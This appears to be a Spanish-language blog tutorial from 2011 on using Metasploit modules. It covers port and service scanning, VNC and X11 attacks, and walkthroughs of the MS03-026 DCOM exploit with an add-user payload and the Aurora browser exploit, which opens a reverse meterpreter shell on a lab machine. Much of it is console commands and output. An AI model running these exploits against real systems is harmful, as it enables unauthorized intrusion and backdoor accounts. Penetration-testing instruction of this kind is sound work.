Inicio > Hacking, MetaSploit > Payloads Basicos en MetaSploit FrameWork

Payloads Basicos en MetaSploit FrameWork


USANDO EXPLOITS, PAYLOADS Y AUXILIARIES PARA COMPROMETER UN SISTEMA

Es posible utilizar módulos auxiliares y scanners para realizar diferentes actividades relacionadas con el descubrimiento de puertos abiertos, servicios disponibles, etc. (similar a lo que frecuentemente se realiza con NMap pero desde MetaSploit) esto es útil para segmentar de una forma mucho mas efectiva el uso de determinados exploits y recolectar información sobre un objetivo determinado.

PORT SCANNING

Nmap es una excelente herramienta para escaneo de puertos, sin embargo, metasploit contiene módulos auxiliares para realizar diferentes tipos de escaneos que encapsulan las funcionalidades de NMap, cabe aclarar, se trata de una alternativa más que se incluye en el framework, en ningun caso pretende ser un sustituto para NMap que es sin lugar a dudas, una de las herramientas de descubrimiento mas robustas y estables que existen actualmente. Para conocer los módulos de escaneo de puertos disponibles, se utiliza la consola de MetaSploit:

msf > search portscan

[*] Searching loaded modules for pattern ‘portscan’…

Auxiliary

=========

Name Disclosure Date Rank Description

—- ————— —- ———–

scanner/portscan/ack normal TCP ACK Firewall Scanner

scanner/portscan/ftpbounce normal FTP Bounce Port Scanner

scanner/portscan/syn normal TCP SYN Port Scanner

scanner/portscan/tcp normal TCP Port Scanner

scanner/portscan/xmas normal TCP “XMas” Port Scanner

SMB VERSION

Con los comandos anteriores, un escaneo de puertos nos permite saber cuales maquinas se encuentran disponibles en la red, para segmentar un poco mas la búsqueda de objetivos podríamos encontrar el sistema operativo bajo el cual se encuentran en ejecución las maquinas encontradas en la red, probablemente se encontrarán algunos sistemas que escuchan por el puerto 445 o el 139, de esta forma es posible utilizar el modulo auxiliary/scanner/smb/smb_version, una vez establecidas la opciones de escaneo, se puede ejecutar el exploit.

Con esto tendremos la versión de Windows o la versión de Samba en ejecución en el caso de que se trate de un sistema Linux.

msf auxiliary(smb_version) > run

[*] 192.168.1.34:445 is running Windows XP Service Pack 3 (language: English) (name:ANONYMOUS) (domain:WORKGROUP)

IDLE SCANNING

Con Metasploit es posible optimizar un idle scanning tal como ejecuta con nmap, (para conocer mejor esta técnica: http://nmap.org/idlescan-es.html) solamente es necesario utilizar el modulo auxiliary/scanner/ip/ipidseq, posteriormente es necesario establecer las opciones obligatorias, tales como INTERFACE (en el caso de que sea una interfaz diferente a la cableada), RHOSTS, THREADS y RPORT

Finalmente ejecutar el modulo con el comando run se ejecuta el escaneo de aquellas maquinas que pueden ser utilizadas como zoombie, dicho modulo es auxiliary/scanner/ip/ipidseq

IDENTIFICACION DE SERVICIOS

Es posible utilizar una gran cantidad de scanners de MetaSploit con el fin de conocer que versión de un determinado servicio se encuentra en ejecución, para listar todos los scanners disponibles:

msf> search auxiliary ^scanner

Los módulos que nos pueden resultar mas interesantes son aquellos terminados en _version, por ejemplo scanner/ssh/ssh_version, scanner/telnet/telnet_version, scanner/smtp/smtp_version, scanner/postgres/postgres_version

ATACANDO VNC

Es posible utilizar los módulos disponibles en metasploit de VNC, donde podemos realizar un ataque de fuerza bruta en base a un fichero de passwords o comprobar que servidores no tienen mecanismos de autenticación establecidos, esto se realiza por medio de los módulos auxiliary/scanner/vnc/vnc_login y auxiliary/scanner/vnc/vnc_none_auth

ATACANDO OPEN X11

De la misma forma en que podemos atacar una maquina que tenga en ejecución un servicio VNC mal configurado,  podemos atacar un servicio X11 que permita la conexión sin autenticación, el modulo disponible para realizar esta actividad es: auxiliary/scanner/x11/open_x11

MS03_026_DCOM:

Se puede utilizar diferentes tipos de exploits para conseguir una consola en el sistema objetivo aprovechando alguna de las vulnerabilidades expuestas en dicho sistema (en este caso Windows), uno muy conocido es el ms03_026_dcom, el cual se encarga de explotar una vulnerabilidad de buffer overflow sobre un sistema windows, la descripción de dicha vulnerabilidad se encuentra detallada aquí:

http://www.microsoft.com/technet/security/bulletin/ms03-026.mspx

Aunque es una vulnerabilidad antigua y solucionada desde el Service Pack 2 de Windows XP, es asombrosa la cantidad de personas que no mantienen actualizado su sistema con los famosos “Security Updates” de windows. Para usar este exploit podemos buscarlo y posteriormente usarlo:

msf > search dcom

[*] Searching loaded modules for pattern ‘dcom’…

Exploits

========

Name Disclosure Date Rank Description

—- ————— —- ———–

windows/dcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC DCOM Interface Overflow

windows/driver/broadcom_wifi_ssid 2006-11-11 low Broadcom Wireless Driver Probe Response SSID Overflow

windows/smb/ms04_031_netdde 2004-10-12 good Microsoft NetDDE Service Overflow

msf > use exploit/windows/dcerpc/ms03_026_dcom

msf exploit(ms03_026_dcom) > set PAYLOAD windows/adduser

PAYLOAD => windows/adduser

msf exploit(ms03_026_dcom) > set RHOST 192.168.1.34

RHOST => 192.168.1.34

msf exploit(ms03_026_dcom) > exploit

[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal…

[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.34[135] …

[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.34[135] …

[*] Sending exploit …

[*] Exploit completed, but no session was created.

Como se puede apreciar se ha ejecutado el exploit en la maquina remota, si esta es vulnerable a dicho ataque, se creará un usuario metasploit con clave metasploit, como es natural, se puede hacer uso de algún otro payload para ejecutar una vez se ha explotado el sistema.

BROWSER_AUTOPWN

Se trata de un modulo auxiliar (auxiliary/server/browser_autopwn) que permite la explotación de múltiples vulnerabilidades en navegadores tales como Internet Explorer, Firefox y Chrome. Consiste en la ejecución de una serie de exploits relacionados con vulnerabilidades conocidas, el modulo intentará iniciar un servicio en el host y puerto especificados en las opciones del modulo, de esta forma, cuando un cliente intente acceder desde un navegador web vulnerable al host y puerto donde se encuentran en ejecución dichos servicios, inmediatamente se enviarán los exploits a la maquina objetivo, en el caso de que alguno de los exploits resulte exitoso en su ejecución, se intentará ejecutar el payload asociado.

Con este modulo se deben especificar las opciones LHOST (normalmente la maquina desde donde se encuentra en ejecución metasploit) SRVPORT (El puerto donde deberán escuchar los servicios) y URIPATH (Para indicar el contexto del servicio, normalmente es “/” por facilidad).

Por otro lado, se puede especificar otros payloads para aprovechar una vulnerabilidad explotada, a diferencia de un exploit común, con este modulo auxiliar podemos especificar un payload para una plataforma especifica, en este caso los que se encuentran disponibles son:

set PAYLOAD_GENERIC set PAYLOAD_JAVA set PAYLOAD_LINUX set PAYLOAD_MACOS set PAYLOAD_WIN32

En este caso como se trata de un modulo auxiliar no se utiliza el comando exploit, en su lugar se utiliza el comando run, de esta forma se ejecutarán todos los exploits en cadena.

ARP_SWEEP

La ejecución de este modulo nos permite identificar las maquinas que se encuentran disponibles en un segmento de red por medio consultas ARP, se encuentra ubicado en auxiliary/scanner/discovery/arp_sweep y su uso básico se detalla a continuación:

msf auxiliary(arp_sweep) > show options

Module options (auxiliary/scanner/discovery/arp_sweep):

Name Current Setting Required Description

—- ————— ——– ———–

INTERFACE no The name of the interface

PCAPFILE no The name of the PCAP capture file to process

RHOSTS yes The target address range or CIDR identifier

SHOST yes Source IP Address

SMAC yes Source MAC Address

THREADS 1 yes The number of concurrent threads

TIMEOUT 500 yes The number of seconds to wait for new data

msf auxiliary(arp_sweep) > set RHOSTS 192.168.1.1/24

RHOSTS => 192.168.1.1/24

msf auxiliary(arp_sweep) > set SHOST 192.168.1.33

SHOST => 192.168.1.33

msf auxiliary(arp_sweep) > set SMAC 4c:0f:6e:e9:7f:90

SMAC => 4c:0f:6e:e9:7f:190

msf auxiliary(arp_sweep) > set INTERFACE wlan0

INTERFACE => wlan0

msf auxiliary(arp_sweep) > run

[*] 192.168.1.1 appears to be up.

[*] 192.168.1.35 appears to be up.

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

NBNAME

Permite detectar el estatus de netbios en un segmento de red determinado, valido para sistemas basados en windows, al igual que algunos de los scanners definidos anteriormente, su uso es muy simple

msf auxiliary(arp_sweep) > use auxiliary/scanner/netbios/nbname

msf auxiliary(nbname) > set RHOSTS 192.168.1.1/24

RHOSTS => 192.168.1.1/24

msf auxiliary(nbname) > set THREADS 10

THREADS => 10

msf auxiliary(nbname) > run

[*] Sending NetBIOS status requests to 192.168.1.0->192.168.1.255 (256 hosts)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(nbname) > run

[*] Sending NetBIOS status requests to 192.168.1.0->192.168.1.255 (256 hosts)

[*] 192.168.1.34 [OWNER] OS:Windows Names:(OWNER, WORKGROUP) Addresses:(192.168.1.34) Mac:00:0d:9d:82:cc:69

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

SMB_ENUMSHARES

Con este modulo podemos determinar los recursos compartidos en red de la maquina remota, similar a otros modulos y exploits de SMB es necesario establecer el usuario y la clave en texto plano o especficar el hash, se encuentra ubicado en auxiliary/scanner/smb/smb_enumshares

MS10_002_AURORA

Se trata de un exploit que aprovecha la vulnerabilidad 10_002 conocida como Aurora que afecta a los navegadores web 7.0 y anteriores, se basa en el envió de en stage de corrupción de memoria que posteriormente nos permite obtener una sesión meterpreter en el objetivo (suponiendo que estemos usando meterpreter como payload) su uso es el siguiente:

msf exploit(ms10_002_aurora) > show options

Module options (exploit/windows/browser/ms10_002_aurora):

Name Current Setting Required Description

—- ————— ——– ———–

SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)

URIPATH no The URI to use for this exploit (default is random)

Exploit target:

Id Name

– —-

0 Automatic

msf exploit(ms10_002_aurora) > set URIPATH /

URIPATH => /

msf exploit(ms10_002_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(ms10_002_aurora) > set LHOST 192.168.1.33

LHOST => 192.168.1.33

msf exploit(ms10_002_aurora) > exploit

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.33:4444

[*] Using URL: http://0.0.0.0:8080/

[*] Local IP: http://192.168.1.33:8080/

[*] Server started.

Una vez un navegador web vulnerable accede a la ruta indicada anteriormente, obtenemos automáticamente en la consola de metasploit lo siguiente:

msf exploit(ms10_002_aurora) >

[*] Sending Internet Explorer “Aurora” Memory Corruption to client 192.168.1.34

[*] Sending stage (749056 bytes) to 192.168.1.34

[*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.34:1047) at Sun Mar 20 20:29:50 +0100 2011

JAVA_BASICSERVICE

Este exploit es útil para realizar un proceso de pre-explotacion sobre objetivos con JVM versión 6 con un nivel de update igual o inferior al 22, al igual que muchos exploits basados en ataques contra el navegador del objetivo, este exploit inicia un servicio que ejecuta un servidor web con la vulnerabilidad lista para ser ejecutada por el cliente que invoque el navegador web en el host y puerto especificado:

exploit/windows/browser/java_basicservice_impl

Como en exploits anteriores es necesario definir las variables correspondientes al payload a utilizar y el servidor, tal como URIPATH y SRVHOST, vease el ejemplo anterior con el uso de Aurora.

Si para el lector esto ha resultado complejo y/o no logrado comprender algunas de las etapas en el uso de estos payloads y módulos auxiliares, se recomienda leer entradas anteriores sobre conceptos de MetaSploit: AQUÍ

  1. Anonymous-:D
    mayo 8, 2011 en 9:59 am | #1

    Hola! que tal! ;) solo quiero decirte que me gusta mucho lo que escribes aqui! es muy interesante! sobretodo de metasploit :D
    Gracias de nuevoo!

    • mayo 9, 2011 en 7:10 am | #2

      Me alegra que te guste, aun tengo mucho material pendiente por publicar sobre tópicos avanzados de metasploit, estoy seguro que si lo que has visto hasta el momento te ha gustado, lo que viene te va a gustar mucho mas.
      Saludos.

  1. No trackbacks yet.
Disculpa, debes iniciar sesión para escribir un comentario.
Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 773 seguidores

%d personas les gusta esto: